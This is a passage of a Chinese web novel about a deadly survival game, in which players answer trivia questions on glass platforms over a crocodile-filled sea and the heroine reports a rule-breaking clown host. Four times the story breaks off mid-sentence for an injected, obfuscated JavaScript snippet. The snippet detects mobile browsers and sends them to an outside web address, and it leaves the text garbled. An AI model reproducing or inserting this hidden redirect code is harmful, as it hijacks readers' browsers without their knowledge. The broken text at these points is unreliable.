在她身后，沈书言的眉毛拧起，脸上终于出现些许与淡定冷漠无关的表情。 他自以为是地帮她铲除了一些可能危害到她生命的麻烦，却没想过会遇到这样的状况。 “好了，闲谈结束。” 小丑见诡计没有得逞，露出了不耐的表情：“如果有谁不想参与游戏，现在就可以下去！” 女人还惊魂未定地靠在墙上喘气，大家也纷纷收起了原先那或桀骜或无所谓的神情，开始认真听小丑宣布接下来的游戏规则。 “每个队伍需推出一名队友回答问题，所有问题轮完后，游戏将按照每队剩余人数进行排名，幸存队员越多的队伍排名越靠前。一共四轮，等到游戏结束后，只有排名前二的队伍不用死，剩下的……” 小丑哼哼笑了笑，语气里含着蠢蠢欲动：“下面的鳄鱼宝宝们就可以饱餐一顿咯～” 宁昭感觉后背更凉了。 幸亏刚才听取了时也的建议，不然她和沈书言两个人直接垫底，想都别想争前二。 萧朔听到规则后也倒吸一口气，看向时也的眼神里又多了几分崇拜。 而那些队伍中只有三个人的玩家们脸色则变得更难看了些。 “好了，别紧张。” 宁昭将女人扶起来：“参加游戏还能有一线生机，如果现在放弃，就真是死路一条了。” “谢谢你。” 女人猛地握住宁昭的手，眼底尽是感激。 其实宁昭并非是爱多管闲事的人，只是她进入游戏的时间还不久，还没有被游戏折磨成那种对待生死无所谓的淡人。 所以，她不想眼睁睁看着一条原本能被解救的生命消失在她眼前，还是以如此残忍的方式。 “如果早知道帮她会有这样的后果，你还会那样做吗？” 趁着宁昭和女人说话的间隙，时也轻飘飘说道。 “你又知道是我帮她了？” 沈书言连眼神都没分给他一个，语气同样轻描淡写。 “猜的。不过我能确认的是另一件事。” 时也笑笑：“你喜欢她。” 这次是非常笃定的语气。 没想到，沈书言并没有露出心事被戳破的尴尬表情，而是反问了一句：“是啊，不可以吗？” 和宁昭在一起待了这么久，沈书言耳濡目染，倒是学会了她的坦荡。 时也笑容一僵。 当着时也的面，沈书言走到宁昭身边，明目张胆地伸手环住她的腰，另一只手则按在她的后脑上，将她往怀里按了按：“等会不要怕，你不会死的。” “不是，你俩在游戏里搞对象啊？” 萧朔后知后觉，像是发现了什么不得了的事情。 别说是萧朔了，连宁昭都觉得离谱。 不过她倒没有自作多情到觉得沈书言喜欢她。她知道他这样做一定有他的道理，于是她没多问，靠在他的肩头点了点头。 “你长得也挺帅的，怎么眼光……” 想出言怼沈书言几句，但又想到宁昭和他是“同担”，最后，萧朔还是没说出什么太过分的话。 “看人的时候少用眼睛。” 松开宁昭，沈书言睨了他一眼。 “接下来，请为你们的队伍起一个易于分辨的名字。三分钟后，游戏开始。” “好了，起个名字吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993710|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >屏幕上开始倒计时，时也率先出声：“决定权可以交到我们队伍里唯一一名女士的手中。” “……那就叫‘赢得很轻松队’吧，这不是重点。” 顺口把自己王者荣耀游戏id贡献出来，宁昭的目光在他们脸上逡巡：“我们接下来该怎么分配？” “游戏一共四轮，所以我们每个人都会站到中间的那块玻璃上。” 时也那张病态苍白的脸上露出温和的笑：“我可以做第一个。” “既然每个人都要站上去，那顺序就无所谓了。” 宁昭摇摇头：“我们每个人的命都很重要，不存在谁就应该冲在前面的道理。” “你说得对。” 终于，萧朔的表情也变得认真起来：“那我们猜拳吧，愿赌服输，谁也别耍赖。” “我看你更像会耍赖的那个。” 沈书言无情打破萧朔的冷酷面具。 虽然这样说，但他们还是很配合，四个人一起猜拳。 最后猜出的顺序是：萧朔、宁昭、时也、沈书言。 “……你别用那种眼神看我，我肯定不会耍赖啊！” 被怀疑的眼光看得难受，萧朔嚷嚷了这么一句，像是要英勇就义一样，站在了队伍最前面。 “你们的队伍名已经出现在大屏幕上。接下来，游戏会随机摇号来决定顺序。” 他们按队伍各自站好，随后，屏幕上出现了10支不同的队伍名。 在众多队名中，“赢得很轻松队”看起来十分显眼。 但是摇号出来的结果就不那么尽人意了。 他们排在第二。 第一名的队伍叫“干就完了”，也是威风凛凛的名字，看起来十分狂妄。 这就是那个红发y2k辣妹所在的队伍。只不过当她看到自己排在第一时，脸上就没了那不可一世的不屑神情，眼底终于出现了些恐惧。 “游戏开始，请听题——” 三分钟时间一到，小丑就拉开了游戏的序幕。 “请‘干就完了队’派出一名代表，站到最中间的这块玻璃上。” 红发辣妹忐忑着走过去，和她同队的2111号男生看着她的背影，脸色看起来也不太好。但直到红发辣妹站上去，他也没出声说要把她换下来。 “在《丛林守则》副本中，咬了理查德一口的蛇身上是什么花纹？ A.黄白色 B.蓝白色 C.黑白色 D.蓝黑色” 听完题目，红发辣妹花容失色，站在一旁观看的玩家们也顿时慌了神。 看来小丑出的问题和玩家之前经历的副本有关。如果没有深刻的印象，那就很有可能回答不出他的问题，就像站在正中央的这个红发辣妹一样—— 她的脸色惨白，站在玻璃上的腿发软：“那时候天那么黑……” 她怎么可能记得那条她压根就没看清楚的蛇究竟是什么样的颜色。 “小梨，冷静！” 2111号男生手心渗出冷汗，却依旧硬着头皮出声安慰：“认真去回想，我相信你能想起来！” 红发辣妹深知自己逃跑的下场也是死，她闭了闭眼睛，犹豫了半分钟之后，终于缓缓说出一个答案。 “我选C……” 28. 鳄鱼海 话音刚落，红发辣妹脚下的玻璃立刻消失，还未等众人反应过来，撕心裂肺的女声就响彻峡谷。 她毫无防备地坠入水中，被闻声而来的鳄鱼撕扯得四分五裂，不过两秒就完全消失，只剩下鲜红的血液不断扩散，晕染了一小片海面，直至消失不见。 “小梨——” 编号为2111号的男人失声叫了出来，下意识往她掉下去的地方跑，却被队友及时拉住：“你冷静一点！” 被这么一提醒，他瘫坐到地上，不敢相信刚才还活生生站在自己面前的人现在已经与他阴阳两隔。也没想到这个游戏竟然会这么残忍，一点都不给人缓冲的机会。 看到这里，宁昭终于有种“这其实是个生存游戏”的实感。 是她运气太好了，在游戏开局就遇到沈书言，甚至能成功活过两个副本，才会走到这里。 但这个游戏从头到尾都是残忍的。 “太无趣了，简直毫无挑战性啊～” 感叹了一句，小丑慢悠悠动了动脖子：“现在，‘干就完了队’的幸存人数为3。接下来，请‘赢得很轻松队’进行答题。” 下一个要站上去的人是萧朔。 他没像其他玩家那样被吓到瘫倒在地上，但语尾的颤抖却昭示了他此时不安的心情：“如果我死了，时也，你出去给我妹妹带句话，我知道你死不了。” 这都开始说上遗言了。 他站到玻璃中间，嘴里还在喋喋不休：“你告诉她，哥哥不在也要好好生活，如果有机会的话，你要去见见我女神宁昭，告诉她……” “吵死了，你有完没完！” 不耐烦地打断萧朔的叽叽歪歪，小丑恶狠狠冲了他一句：“再废话立刻下去！” 萧朔立马安静如鸡。 “请听题。” 冷冷哼了一声，小丑再次出题：“在《床下灵》副本中，偷走你领带的人叫什么名字？ A.小明 B.小敏 C.小强 D.小伟” “……” 沉默半秒，萧朔表情比哭难看：“你告诉宁昭，没了她我……” “萧朔，快答题！” 眼见着小丑的表情变得越来越不耐烦，宁昭立马出声，语气中带着严厉：“赶紧思考！这是你经历过的副本，仔细想想总比瞎猜好！” 说来也奇怪，被宁昭这么吼了一通，萧朔反而变得冷静了许多。他深呼吸一口气，闭上眼睛开始在脑海中搜索答案。 时间一分一秒过去，直到小丑想出声宣判他出局的前一秒，他睁开眼睛：“选D，他叫小伟！” 众人的心在此刻悬到了嗓子眼，宁昭的心也开始不由自主地加速跳动。 结果，小丑露出不屑的表情：“算你走运，下一个！” 从台上下来后，萧朔是真瘫了。 “好了，你安全了。” 时也出言安慰：“暂时不会有危险了。” 虚惊一场的宁昭也松了口气：“你心也真够大的，还有心思说遗言。” 很快，下一组队伍的玩家便站上了中间的高台，在这之后还有八个队伍，他们获得了暂时的安全。 “你为什么这么喜欢宁昭？” 回想萧朔说的话，宁昭这才出声问他：“刚才那个情况，你不想你爸妈，想的竟然是个跟你没半点关系的女明星？” 靠着墙坐下，萧朔大口大口喘气：“你不懂的，她救过我的命。” 现在不仅宁昭觉得奇怪，连沈书言也露出了些异样的表情。 “怎么说？” “我爸妈很久之前就去世了，只剩我一个人把我妹拉扯大。” 抹了把头上的冷汗，萧朔继续说道：“结果她被查出有白血病，能治，但要很多钱。” 耳边再次传来众人的尖叫声。 第三队的玩家也没有通过考验，步红发辣妹的后尘，被扔进了悬崖里。 看着第四队的玩家一步步挪到高台上，萧朔再次出声：“是宁昭帮了我。” 记忆的闸门被打开，宁昭忽然想到自己刚出道两年时曾在自己超话看到一个粉丝发了类似想轻生的言论。 她看了他的主页，发现他的处境是真的很困难，同时他也是在她刚出道时就喜欢她的死忠粉。 于是她主动联系了他，承担了他妹妹用于治疗白血病的所有费用。 那对她来说只是一笔小钱，却改变了他的人生轨迹。 没想到他们之间有这样的缘分，竟然还能在同一个生存游戏里遇到，甚至绑定成队友。 真是天道好轮回，好人有好报啊！ 也许是问题太短的缘故，游戏的进度被推的很快，没过多久第一轮游戏便结束了。 十个队伍中，只有四个队没有减员。其他每个队伍都失去了一名队友，一共死了六个人。 一轮下来，他们的排名靠前。 “不要害怕，就算游戏故意针对你，你也不会死。” 耳边忽而传来只有两个人能听到的男声。 低头看了看他们交握的手，宁昭像是吃了一记定心丸。 第二轮游戏很快开始，2111号男生率先站到了高台上，表情是视死如归的绝望。 小丑照例问了一个很偏的问题，但不知怎么的，这个问题突然撞上了男生的舒适区，他几乎不带任何犹豫就答对了。 不喜欢有人过关过得这么轻松，小丑的脸色逐渐阴沉下来：“下一个！” 宁昭心里暗叫不好。 果然，到她这里时，小丑提的问题让她整个人的心都沉了下去。 “在《塞尔维亚的舞女》副本中，金越的母亲叫什么名字？ A.金琳琳 B.林金金 C.金婉清 D.林语香” 完了，这次真是冲她来的。 她往下看了一眼，额头已经渗出冷汗。 【沈书言】：相信我，不要怕，随便选。 脑袋里突然传来沈书言的声音。 定了定心神，宁昭看向小丑：“我选C。” 她选择相信沈书言。 得到他想要的答案，小丑咧开嘴角，露出灿烂的笑：“我忍你这个臭丫头很久了，去死吧——” 脚下的玻璃倏然消失，宁昭感觉自己的身体失去控制，急速向山崖下坠落。风声快要撕裂她的耳膜，她的心率飙升，整个人都快被突如其来的失重感撕碎成碎片。 短短几秒时间，宁昭感觉自己心脏骤停。 正当她闭上眼睛准备赴死时，腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008478|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上忽然传来重重的拉力。接着，她像是被一根无形的绳子拉住，在距离鳄鱼嘴还有三米左右的距离时堪堪刹住了车。 耳边是黑鳄游动拍打出来的海浪声，宁昭稳住呼吸，壮着胆子朝下看了一眼，发现它们已经聚集到了她的身下，只要她再往下一点就会落入它们口中，成为盘中餐。 她吓得开始大口喘气，而缠绕在腰间的力量却在这时骤然缩紧，开始飞速把她往平台上拉。 耳边又是呼啸而过的风。宁昭闭上眼睛，感受着自己的身体飞快攀升，直到她被拉回平台上，腰间忽然环绕上一双温热的手，紧接着，她回到了一个温暖的怀抱。 “我说过，相信我。” 耳边是属于沈书言的熟悉声音。 宁昭回神，意识到自己被救了，她惊魂未定，伸手搂住他的脖子，连话都说不出来。 “你违反了游戏规定！” 本以为会见到宁昭被鳄鱼分食的画面，却没想到她会获救。小丑顿时气急败坏地叫嚷开来：“你竟然在她身上用道具！” 原来刚刚沈书言突然抱她那一下，是为了在她身上绑道具。 “这怎么能算违反规定呢？” 把宁昭带到一旁，沈书言看向小丑：“答错问题会掉下去，但游戏并没有说不能把人拉上来，对吧。” 哪怕是隔着重重的油彩，众人也能看出小丑那被气得铁青的脸色：“强词夺理！！！” “游戏没明确说不可以的，就是可以。” 一直沉默的时也终于出声。 与沈书言的冷漠不同，时也的脸上始终带着淡淡的微笑。那是一种从容到让人感觉他能轻而易举完成任何事的松弛感。 “……下一个！” 显然，时也和沈书言的话震慑住了小丑。他被气得一口气梗在胸口却无法疏解，只能咬着牙去叫下一个队伍上台。 后面的队伍见他这个反应，纷纷意识到原来可以钻游戏的空子，利用道具以求一线生机。 他们开始迅速搜刮在之前副本中得到的道具，打算在接下来的游戏中学着沈书言，提高存活率。 “谢谢你。” 这是宁昭第一次发自肺腑、由衷地对沈书言道谢。 看到宁昭眼底闪烁着感恩的光，沈书言心底涌过一阵暖流。 他摸摸她后脑，语气里是他自己都没意识到的宠溺：“跟我说什么谢谢？” “恶寒啊，小宁昭。” 被晾在一旁的萧朔双手环胸，作了个鸡皮疙瘩掉一地的动作，言语中却掩不住赞赏：“虽然你们两个有点恶心，但能活下来真是太好了，你找了一个好老公。” 显然，他已经把她和沈书言当成一对了。 “不要乱说，他是我的队友，不是我男朋友。” 虽然不抵触这样的说法，但宁昭还是觉得有必要和萧朔说清楚。 哪怕她真的对沈书言抱着别的心思，宁昭也不喜欢这种模棱两可、不明不白的关系。 在她的观念里，喜欢归喜欢，在一起归在一起。 如果没有表白、确认关系的流程，那她就不会作出让别人误会的事。 “既然这样，宁昭小姐还是单身吧。” 耳边传来时也温润的声音：“那是不是代表着，我有机会了？” 29. 鳄鱼海 “……？” 宁昭不敢置信地看向时也，似乎是在疑惑他为什么能在这种时候说出这样的话。 “虽然你是男人，但也不能太随便了。” 沈书言站到宁昭面前，语气带了些淡淡的嘲讽：“没有女人会喜欢一个到处留情的男人。” 再一次觉得不敢置信，宁昭终于看不下去，出声打断：“这才完成两轮游戏，还没赢呢，你们能不能不要在这么危险的时候说一些离谱到天际的话？” 她要是在生存游戏里还想着谈恋爱的话，那才是真的没救了吧。 “时也，你糊涂了啊？” 不止宁昭惊了，萧朔也惊了。他伸手去探时也的额头：“虽然小宁昭人挺好的……” 下一句被他隐去了，但宁昭猜也能猜到，他无非是想吐槽时也的眼光怎么这么差，竟然会喜欢像她这样长得平平无奇的女生。 “沈书言说得很对。” 拂开萧朔的手，时也莞尔一笑：“看人不能只用眼睛。” “你怎么知道沈书言的名字？” 敏锐捕捉到关键词，宁昭忽然看向时也：“你们认识？” 时也笑着摇头，沈书言也没搭腔。 “看来我抱的不仅是大腿，还是虚妄之都里的男明星呢。” 不禁揶揄了一句，宁昭笑眯眯的，眼里闪着灵动的光。 “比不上你这个女明星。” 她笑起来的样子特别好看，看得沈书言心神荡漾，刚刚被时也弄糟糕的心情就这么轻飘飘地被哄好了。 尖叫声再次响起，又一个人掉了下去，不过他应该是用了道具，下去后没两秒就爬了上来，又是虚惊一场。 这也进一步证实了这个游戏其实是可以钻空子的。 只不过先前掉下去的几个人就有点倒霉了。 “你知道破解方法，为什么不告诉我们？” 耳边传来充满恨意的声音，回过头一看，发现说话的竟然是刚刚安全下台的2111号男生。 他显然是冲着沈书言去的，不仅语气幽怨，连眼神都带着恨意：“明明只是提醒一句就行的事，你为什么要眼睁睁看着小梨去送死？！” 电影里经典的甩锅角色出现了。 “你又不是我们队友，凭啥告诉你啊？” 到底是绑定成一个队伍的革命友谊，还没等沈书言说话，萧朔就怼了回去：“你别道德绑架，刚才在游戏大厅里时你女朋友还骂了我队友呢，那个时候她怎么没想到会有这一天呢？” “说到底就是自私，别找那么多借口。” 冷笑一声，男生的目光在他们脸上逡巡：“见死不救，你们会遭报应的！” “指责与你们毫无关系的陌生人之前，最好想想自己有没有做到问心无愧。” 终于听不下去，宁昭出声打断了他们的争吵：“如果你真的这么怕她出事，就不会让她第一个上高台。” “问心无愧”四个字好像戳中了男生的心事，他脸逐渐变红，语气也变得急躁：“那是我们随机选出来的，如果我替了她，对别人不公……” 说着说着，他似乎自己也意识到他的语言很苍白，声音逐渐小了下来。 这还是萧朔和宁昭愿意搭理他的情况。 另外两个人连声都没吭，很显然没把他的胡搅蛮缠放在心上。 第二轮游戏很快结束。虽然后面的人都陆陆续续开始使用道具，但还是有人掉下去死亡。 偷偷听了他们队友的聊天，这才明白原来不是他们不想用道具，而是没东西用。 不是所有人都像宁昭和沈书言一样会在副本结束后得到大量的积分和道具的。 最终，大屏幕上的队伍进行重新排序。只有“赢得很轻松队”和另一个名叫“好运连连”的队伍剩余人数是4，遥遥领先排列在其他所有队伍之前。 只要保证在接下来的两轮游戏中不减员，他们就能稳稳拿下这场比赛，避免死亡的命运。 但这也代表着——那些落后的队伍会把目光放在他们身上，甚至有可能对他们使阴招。 好在他们队接下来要上场的人是时也和沈书言，想要暗算到他们并不是什么容易的事。 见不断有人借助道具逃生，小丑的脾气已经差到了极点。 于是，在第三轮游戏开始前，他临时更改了游戏规则—— “在接下来的两轮游戏中，禁止任何玩家使用道具！” 听到这，众人的神情变得紧张，那根略微放松的弦也再次紧绷了起来。 知道这不是长久之计，沈书言并不意外。 但能保住宁昭的命就好。虽然不知道游戏接下来还会搞什么鬼，但他不会让她死。 连他自己都没有意识到，在他沉默着没有说话的那些时间里，他的视线总是无意识地停留在宁昭的脸上，一看就是许久。 “第三轮开始，请‘干就完了队’派出队员。” 又一轮游戏开始，不能使用道具，全场再次变得安静，越到后面，气氛便变得越紧张。 显然，为了惩罚上一把卡bug的队友，小丑这一轮问题的难度有了质的提升。 他甚至开始问“他穿了什么颜色的袜子”这种刁钻的问题。 一共四个选项，哪怕是瞎猜也会有25％回答正确的概率，但一直这么猜下去也不是个事。 谁能保证运气之神永远都能眷顾着自己？ “宁昭。” 沈书言忽然叫她的名字。 “怎么了？” “你把手机拿出来。” …… 毫无疑问，“干就完了队”经不起这样的考验，再次折损一名队友。 海水中的黑色巨蟒仍在不停游动，尤其是最中间那块玻璃下的水面，始终聚集着一些没吃饱的鳄鱼。 它们慢悠悠甩动着尾巴，仿佛是知道接下来还会有人掉下来让它们饱餐一顿，神态并不焦躁。 下一个站上玻璃台的人是时也。 “请听题——” 看到宁昭这个队又上人了，小丑眼中略过阴狠的光。 明眼人一看就知道小丑要整时也，但时也却一点都不惊慌，甚至唇畔的笑容还变得更灿烂了。 “在《死灵》副本中，秦竹递给你的那把通关钥匙上有几朵鸢尾花的花纹？ A.一朵 B.两朵 C.三朵 D.四朵” 听到这个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038745|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，接下来要上台的玩家均是倒吸一口凉气，看向沈书言的眼神也变得越发幽怨。 如果后面都是这个难度，那死是必然的。 而问题之所以会这样难，还不都是因为沈书言带头卡bug吗？ 他倒是确实把宁昭救下来了，结果把后面人的路都给堵死了。 “在我回答这个问题前，我有一个疑惑。” 时也并没急着说出答案，脸上也并没有被游戏故意针对的恼火。 他伸手指指小丑的胸口：“你胸口的通讯器一直在亮，不看看没关系吗？ 这时小丑才注意到自己胸口的异样。 看到一直在闪烁的信号灯，他那双被油彩遮盖的眼里飞快闪过惊恐。随后他快速拿出通讯器，按了接听键—— 【敬告副本主持人小丑先生：管理中心接到来自6824号玩家的举报，认为您在副本《鳄鱼海》中有违反《虚妄之都npc治安管理法则》第三百二十八条有关规定的行为，经查验，举报成立。 系统将对您进行扣除三个月工资绩效的惩处，并予以红牌警告。如果你在接下来的游戏中仍存在这样的行为，系统会对你进行抹杀处理。】 熟悉的机械女声像用了扩音器一样在场地内传播开来，顿时让这个对于小丑来说很羞耻的信息传递给了在场的每一个人。 看到众人上下打量的异样眼光，小丑的脸色变得更差，他恼怒扫视一圈，发现笑得最张扬的人是宁昭，顿时明白了究竟是谁干的好事。 “你竟然举报我！！！” 他朝着宁昭怒吼，颤抖的语气昭示着他的愤怒：“你个愚蠢、自以为是、只会耍小聪明的丑女……” “那也是你违反系统规则在先，才会给我举报你的机会。” 晃了晃手中的手机，宁昭朝他挑眉：“虽然我只经历过两个副本，但我能确定游戏不会让玩家莫名奇妙失去生命，而你刚刚的行为，根本就是在利用职权杀人。” 那些类似“穿了什么颜色的袜子”“道具上有几朵花”“npc的母亲叫什么名字”的问题，明摆着是让玩家去送死的。 而一个死亡率高达80％以上的副本是完全不合理的。 再加上有沈书言的提醒，宁昭几乎毫不犹豫地找到了举报中心的在线客服，和游戏反映了这个问题。 也许是自知理亏，虽然小丑的脸色很难看，但终究还是没能说出些除了人身攻击之外的话来。 他冷冷地把通讯器放回口袋：“请听题。” “在《死灵》副本中，最终执掌着死亡之印的人究竟是谁？ A.陆回舟 B.李清逸 C.徐冉西 D.秦竹” 小丑给时也换了一道题目。但显然，题目的难度变正常了，不再是刁钻的角度，听起来也不是那么荒谬。 这次时也没有犹豫：“选B，李清逸。” 从小丑咬牙切齿的表情来看，时也这次答对了。 “赢得很轻松队”再一次靠着他们的聪明机智，保住了他们的队友。 其他玩家见状纷纷松了口气，但仍然有人难以平息心底的愤怒—— “你把我女朋友的命还给我！！！” 30. 鳄鱼海 2111号男见状又开始发疯，只不过这次他把矛头指向了小丑。 “你凭什么擅自更改游戏题目！” 他歇斯底里的声音再次在大厅里回荡：“你把她还给我！” “你女朋友死得不冤。” 没搭理他的愤怒，小丑冷笑一声：“游戏刚开始的时候我可没有故意增加难度！” 哪怕后面确实有人死得冤枉，也不关第一个就出局的红发辣妹的事。 “为了避免后面再出现这样的情况，我要求主持人在屏幕上公开展示游戏规则。” 盖住玩家不停讨论的窸窸窣窣声，宁昭再次发话：“你只是一个传话筒，没有权利隐瞒任何内容。” “对！把游戏规则给公布出来！” 有了宁昭带头，玩家们纷纷附和起来，大家群情激昂，小丑一时间也乱了阵脚。 最终，他不得不把游戏给出的明文规定全部展示在大屏幕上。 【鳄鱼海副本通关细则（一）：玩家需各自进行组队（上限为四人）进行游戏。第一回合游戏开始后，每队需派一名玩家站上玻璃高台回答问题，主持人所出题目必须与玩家之前所经历过的副本主线有关，不可故意为难。第一回合游戏一共四轮，回答正确者过关，回答错误者掉入悬崖。 四轮完成后，按各队人数进行排名。最后两名队伍将被集体抹杀。其他队伍会晋级进入第二回合游戏，其规则将在完成第一回合后公布。】 看到这里，众人一片唏嘘。 原来小丑不仅私自更改了问题难度，甚至还乱改游戏规则。 明明是最后两名才会被淘汰，却被他说成是除了前两名队伍外都会出局，完全就是颠倒黑白，不把人命当命。 一时间，大家都叫嚷开来，局面变得混乱，小丑叫了许多声，现场才安静下来。 但仍然有不服气的玩家出声抗议：“你把人命当什么？你违背了规则，谁能把我队友的命还回来？！这不公平！！！” “因为你，我的队伍现在只剩两个人了，如果我们因此变成最后一名，难道也要无辜送死吗？！” “我们要求重新组队，重新开始游戏——” 此话一出，众人纷纷附和，都开始要求游戏给个说法。 场面一时变得难以控制，就在这时，机械女声再次响起： 【游戏暂停。系统将对剩下的玩家进行补偿，赠送一次额外组队的机会。玩家可自行寻找队友进行绑定，上限四人，限时五分钟。绑定完成后，游戏会直接进入第二回合，并在大屏幕上公布游戏规则。 公平起见，系统将为第二轮游戏更换主持人。在游戏结束后，成功通关的所有玩家将得到翻倍的奖励。】 声音落下后，被挂在天空中的小丑忽然被绳子拉住，还没来得及反应，他就已经被拉到了后台，消失在了众人的视线之中。 接着，从帷幕后走出一个温文尔雅的老人。他身穿黑色燕尾服，神态随和，看起来比刚才那个小丑靠谱很多。 “大家好，我是第二轮游戏的主持人。” 他朝大家露出笑容：“很抱歉在第一回合的游戏中给各位带来了不好的体验，接下来，我会避免再出现类似的情况。现在，你们有5分钟时间重新组建自己的队伍。” 那些接近淘汰边缘的玩家终于松了一口气，开始迅速寻找能与之绑定的队友。 宁昭的队伍一直都是四个人，没有必要再解绑重组。但仍有不少人在见识了她和沈书言的厉害后想上前组队，不过通通被萧朔给怼回去了。 抱上了三个大腿，想拆散他们是不可能的。 “你看那个2111号，没人愿意跟他组队。” 眼尖的萧朔在大厅里环视了一眼，发现2111号男生独自一人站在角落，双拳握得死死，不知道在想什么。 虽然能侥幸活到现在，但他看起来情绪不太稳定，终究不是什么靠谱的人。再加上他刚才频频闹事胡搅蛮缠，他原本的队友也放弃了他，转而和别人组队去了。 “女朋友死在面前，谁都不好受。” 宁昭不咸不淡回了一句：“但是把责任甩在毫不相干的陌生人身上，也显得他很无能。” 萧朔对此不置可否：“我们接下来离他远一点吧，总感觉他会使阴招。” 目前游戏大厅里还有17个人，五分钟后，一共组建成了四个队伍，只剩2111号男生一个人落单，没有任何人愿意和他合作。 但他的状态颇为失意，整个人都颓废掉了，好像并不在乎有没有人愿意跟他组队。 “场内一共组成了五支队伍，分别为四支四人队与一支单人队。” 主持人抬手示意大家看屏幕：“接下来请看游戏规则。” 【鳄鱼海副本通关细则（二）：恭喜您成功进入游戏的第二阶段。这是游戏的最后一个阶段，规则如下： 在第二回合中，每个队伍将一起站到玻璃高台上，轮流回答四个问题。如有一人答错，玻璃板则会消失，整个队伍被淘汰，一起掉落悬崖。】 大厅内顿时鸦雀无声、针落可闻。 原来这个游戏根本不会这么好心地给所谓的“补偿”，上面说的那些不过是为了迷惑玩家组成多人队伍罢了。 四个人轮流回答问题，但凡有一个答错都得一起死。 这样一来，2111号反而成为了全场最安全的一个人。毕竟只要他答对，他就不用再胆战心惊担心自己会给别人陪葬。 “……这个游戏一直都这样吗？” 宁昭不由得出声吐槽。 沈书言下意识想去回答宁昭的话，却没想到被时也抢占了先机：“是啊，一直都是这么坑。不过没关系，你可以相信我。” “……” 无语地看了时也一眼，沈书言想说些什么，但最终还是把到嘴边的话咽了下去。 对于时也的突然示好，宁昭有些丈二和尚摸不着头脑。 如果她还是以前那张脸，那她对此不会感觉到奇怪。偏偏她现在顶着一张丑女的脸，怎么会有男人在看到这样的她后还持续性对她散发善意？ 事出反常必有妖。 更何况，虽然时也看起来羸弱了些，但也实打实地是个帅哥，这是一件极其不对劲的事。 对此，宁昭对他报以一个礼貌的微笑：“这个时候我们应该多给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050837|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些信任，而不是把希望寄托在别人身上。” 不动声色地将好意推还给了时也，宁昭看了沈书言一眼，发现他唇畔勾起了一抹淡淡的笑意。 看到他笑，宁昭渐渐也不紧张了。 刚在死亡边缘疯狂徘徊过，她发现心脏快要从嗓子眼跳出去的感觉其实也就那样。 这时，大屏上重新出现被打乱的队伍上场的顺序。 这次第一个上场的变成了宁昭他们的队伍。 看到这个排序，众人都松了一口气——第一个上场总归是少了些优势，刚刚红发辣妹就是这么死的。 有了他们打头阵，后面人也更好随机应变一些。 游戏很快开始，哪怕局势再不明朗，他们都得硬着头皮走上玻璃高台。 “第一组已就位。请3664号玩家进行答题。” 第一个要回答问题的人是萧朔。 “完了……” 虽然声音很小，但宁昭还是听到了萧朔崩溃的低吟。 “别紧张。” 她伸手拽了拽他袖子：“好好思考、认真答题。等我们成功通关，我给你个惊喜。” “什么惊……” 还未等话说完，主持人便再次出声：“请问，在《床下灵》副本中，一直在装神弄鬼的人叫什么名字？” 说到这里他便停下没了声音，显然是在等着萧朔回答。 “问答题？” 回过神来，萧朔语气有些结巴，但还是说出了他的答案：“叫张云起啊！” 这是他亲历的副本，最后的boss是谁他再清楚不过。 只不过这答案太过简单，他一时间甚至搞不清楚这究竟是不是游戏给他下的陷阱。 “恭喜您，答对了。接下来请3176号玩家进行答题。” 没想到主持人一点都没有为难他，而是自然而然地把目光转移到了他身边的沈书言身上。 “请问，在《塞尔维亚的舞女》这个副本中，最终出现在天使号上的Boss克洛斯，现在是否还活着？” 听到这个名字，宁昭脑海里的弦不自觉绷紧。 被那男人扛着扔到笼子里的场景仍旧历历在目，他的桀骜、嚣张、不屑……甚至连他那似笑非笑的表情都一股脑涌进宁昭的脑海，让她不自觉感到一阵恶寒。 她记得上次她问过沈书言这个问题，他说不知道。 现在这个问题牵连着他们的性命，她看向沈书言，却发现他已经不带任何犹豫地说出了这个问题的答案。 “还活着。” ……竟然没有死吗。 她要庆幸这个副本已经结束了，她不会再遇到他。 他活不活的，和她也没有什么关系了。 毫无疑问，沈书言安全过关。 “请6824号玩家进行答题。” 